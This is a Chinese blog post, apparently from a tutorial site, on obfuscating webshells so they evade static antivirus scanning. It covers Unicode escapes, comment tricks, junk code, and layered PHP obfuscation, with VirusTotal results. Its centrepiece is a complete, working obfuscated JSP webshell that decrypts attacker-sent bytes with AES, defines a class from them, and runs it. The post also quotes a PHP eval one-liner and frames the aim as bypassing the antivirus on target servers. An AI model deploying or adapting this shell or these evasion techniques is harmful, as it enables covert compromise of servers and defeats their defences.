混淆代码如何破解/Webshell混淆免杀的一些思路_小白信息安全笔记

混淆代码如何破解/Webshell混淆免杀的一些思路_小白信息安全笔记

1、简介

为了避免被杀软检测到,黑客们会对进行混淆免杀。本文将介绍一些混淆免杀的思路,帮助安全人员更好地防范攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让尽量和原本的代码不一致。

2、混淆字符

混淆字符是最基本的混淆手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将的原本的字符编码成另外的字符。这里以哥斯拉的示例。因为java是默认支持编码的。

Java代码示例:

混淆代码如何破解__混淆算法

然后可以上传vt查杀可以看到还是会被挺多杀软识别的。

_混淆算法_混淆代码如何破解

现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆中只能够起到一个辅助作用。

混淆算法_混淆代码如何破解_

_混淆算法_混淆代码如何破解

3、利用注释

利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。

Java示例:

_混淆算法_混淆代码如何破解

然后这边是给原本的加上注释之后,丢到vt上的查杀效果。

_混淆算法_混淆代码如何破解

_混淆算法_混淆代码如何破解

值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用 = "/*"; code...; ss = "*/";code...就是的一行正常代码。这样杀软可能会把两个字符串/* */中间的值认为是注释内容从而匹配恶意代码失败。

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

4、改变代码特征

改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装某段代码,用三元表达式代替,用一些代替写法比如java中的int类型1可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加任意无用垃圾代码等。

部分代码截图:

_混淆代码如何破解_混淆算法

混淆算法__混淆代码如何破解

可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。

全部代码:

<%@ page import="java.io.InputStream" %><%@ page import="javax.crypto.spec.SecretKeySpec" %><%@ page import="javax.crypto.Cipher" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page import="java.io.OutputStream" %><%@ page import="java.io.IOException" %>​<%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";​​    class Register extends ClassLoader {        public Register(ClassLoader username) {            super(username);        }​        public Class Query/*\u3333*/(byte[] password) {            int len = password.length;            String s1 = "/*";            Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);            String s2 = "*/";            return aClass;        }    }​    public byte[] x(byte[] s, boolean m) {        // 这行代码换了个顺序        byte[] bs = xc.getBytes();​        try {            String sss = "/*";            String decode = "\u0041\u0045\u0053";            Cipher c = Cipher.getInstance(decode);            String ccc = "*/";​            // if代替了原本的三元表达式            int flag = 0xAFFFF;            if (m) {                flag = 1;            } else {                flag = 2;            }            String acaw = "/*";            c.init(flag, new SecretKeySpec(bs, decode));            String ANANAWU = "*/";​            String string1 = "/*";            byte[] bytes = c.doFinal(s);            String string12 = "*/";            return bytes;​        } catch (Exception e) {            return null;        }    }​    public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {        // 添加注释        /*o.equls(null)*/        int x = 10;        int y = 20;​        // 这里有一些毫无意义的操作        x = (x + y) * 2;        y = x - y;        String meaninglessString = "Hello, this is a meaningless string.";​        if (x > y) {            x = x * 2;        } else {            y = y * 2;        }        String sss = "/*";        o./*o.equls(null)*/equals/*o.equls(null)*/(bos);        String ccc = "*/";        o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);        String ac = "//";        o.toString/*o.equls(null)*/();    }​​    public void run2(byte[] data_bytes, HttpSession session) {        String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";        Register REG = new Register(this.getClass().getClassLoader());        Class cs = REG.Query(data_bytes);        session.setAttribute(py, cs);    }​    public Object os_return(HttpSession session) {        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";        return  session.getAttribute(py);    }​    public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {        byte[] x = x(bos.toByteArray(), true);        os.write(x);    }​    public void setAttribute(HttpServletRequest request, String key, Object value) {        request.setAttribute(key, value);    }​    public ByteArrayOutputStream getBos() {        ByteArrayOutputStream arrOut = null;        arrOut = new ByteArrayOutputStream();        return arrOut;    }%><%    try {        String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";        int length = Integer.valueOf/*o.equls(null)*/(header);​​        byte[] data_bytes = new byte[/*o.equls(null)*/length];        InputStream is = request.getInputStream();        // for循环替代了while循环        for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));​        // 原本的false变成了 !true        data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);​        OutputStream os = response.getOutputStream();        ByteArrayOutputStream bos = getBos();​        boolean flag = session.getAttribute(py) == null;        if (flag) {            run2(data_bytes, session);        } else {            setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);            String s = "/*";Class cs = (Class) os_return(session);String c = "*/";            Object f = (cs).newInstance();            run(f, bos, pageContext);            /* 垃圾代码 */            int a = 10;            int b = 20;​            for (int i = 0; i < 5; i++) {                a += b;                b -= a;            }​            String meaninglessString = "This is a meaningless string.";            int[] numbers = {1, 2, 3, 4, 5};            for (int num : numbers) {                if (num % 2 == 0) {                    // 不执行任何操作                } else {                    // 不执行任何操作                }            }            /* 垃圾代码 */​            pull(bos, os);        }    } catch (Exception e) {    }%>​

免杀效果:

混淆代码如何破解__混淆算法

混淆算法_混淆代码如何破解_

Ps:以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要掉目标服务器上的杀软即可。

5、利用代码加密工具

上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。

比如随便找一些php在线混淆哥斯拉的

混淆算法_混淆代码如何破解_

链接也是没有问题的

混淆代码如何破解__混淆算法

虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。

混淆算法_混淆代码如何破解_

经过3次混淆的,反正我是认不出来了。

_混淆算法_混淆代码如何破解

混淆算法__混淆代码如何破解

类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。

混淆算法__混淆代码如何破解

6、总结

文本主要分享了一下自己的一些免杀思路。其实免杀的思路无非就是修改的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的时效性也比用工具混淆的要长一些。

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

  • 6
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值